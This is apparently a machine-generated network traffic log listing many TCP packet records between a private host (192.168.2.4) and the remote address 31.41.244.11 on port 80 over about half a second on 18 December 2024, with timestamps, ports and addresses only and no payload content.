Dec 18, 2024 17:08:13.394740105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.394812107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.394835949 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.395447016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.395762920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.395812035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.395905018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.395982981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.396883965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.397093058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.397114038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.397145987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.397906065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.397959948 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.398027897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.398073912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.399027109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.399106026 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.399202108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.399600983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.400160074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.400207043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.400258064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.401299953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.401356936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.401449919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.401499987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.402451038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.402566910 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.402620077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.403366089 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.403476000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.403484106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.403533936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.404443026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.404500008 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.404620886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.404692888 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.405642986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.405761957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.405817986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.406732082 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.406807899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.406817913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.406872034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.407593012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.407670975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.407733917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.407790899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.408905983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.409032106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.409085035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.409279108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.409955978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.410007000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.410082102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.410224915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.411036968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.411218882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.411231041 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.411307096 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.411988020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.412102938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.412123919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.412715912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.413027048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.413079977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.413218975 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.413270950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.414077997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.414134979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.414215088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.415186882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.415242910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.415340900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.415389061 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.416228056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.416395903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.416454077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.417372942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.417438984 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.417491913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.418091059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.418346882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.418412924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.418479919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.418526888 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.419428110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.419487953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.419547081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.419601917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.420514107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.420663118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.420864105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.421637058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.421691895 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.421711922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.421765089 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.422635078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.422694921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.422755957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.422804117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.424061060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.424113989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.424141884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.424194098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.425904989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.425966978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.426019907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.426219940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.426266909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.426379919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.426429987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.427192926 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.427334070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.427395105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.428215027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.428272009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.428350925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.428397894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.564663887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.564690113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.564771891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.564927101 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.564985037 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.565040112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.565087080 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.565937042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.565993071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.566077948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.566131115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.566910028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.566966057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.567047119 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.567102909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.567998886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.568140984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.568197966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.569017887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.569075108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.569140911 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.569196939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.570164919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.570226908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.570292950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.570343018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.571207047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.571258068 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.571362019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.571415901 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.572272062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.572324038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.572380066 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.572431087 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.573304892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.573441982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.573498011 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.574429035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.574486017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.574541092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.574594021 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.575457096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.575515032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.575582027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.575634003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.576647043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.576700926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.576781034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.576833963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.577658892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.577717066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.577795982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.577851057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.578715086 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.578769922 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.578849077 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.578901052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.579812050 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.579992056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.580845118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.581034899 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.581950903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.582101107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.582390070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.582442999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.583098888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.583242893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.583301067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.584062099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.584117889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.584189892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.584244967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.585134029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.585190058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.585270882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.586262941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.586319923 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.586369991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.586426973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.587275028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.587327003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.587412119 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.587470055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.588449001 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.588504076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.588505030 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.588557005 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.589461088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.589515924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.589577913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.589629889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.590532064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.590584040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.590651035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.590703964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.591588020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.591670990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.591739893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.591792107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.592678070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.592741013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.592869043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.592920065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.593756914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.593808889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.593878031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.593930960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.594888926 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.594995975 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.595055103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.596146107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.596204042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.596304893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.596359968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.597086906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.597142935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.597225904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.598345995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.598403931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.598591089 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.598649979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.599162102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.599221945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.599287033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.599342108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.600229979 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.600282907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.600366116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.600423098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.601433992 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.601485014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.601541996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.601598024 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.602540970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.602597952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.602664948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.602725029 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.603477955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.603589058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.603653908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.604556084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.604615927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.604682922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.604738951 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.605729103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.605786085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.605850935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.605907917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.606700897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.606857061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.606925964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.607913971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.607949972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.607980013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.608021021 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.608858109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.608998060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.609062910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.609916925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.610070944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.610136986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.611000061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.611061096 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.611119032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.611177921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.612224102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.612287045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.612422943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.612478018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.613125086 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.613183022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.613265991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.613318920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.614236116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.614305019 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.614363909 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.614422083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.615298986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.615438938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.615504026 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.616458893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.616523027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.616609097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.616664886 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.618123055 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.618185043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.618251085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.618635893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.618695974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.618747950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.618812084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.619442940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.619497061 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.619649887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.619702101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.620539904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.620599031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.620635986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.620692968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.757198095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.757287025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.757457972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.757601976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.757666111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.757721901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.757777929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.758449078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.758502007 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.758569002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.758620977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.759507895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.759623051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.759682894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.760631084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.760699034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.760782957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.760840893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.761672020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.761732101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.761811972 CET	80	49749	31.41.244.11	192.168.2.4
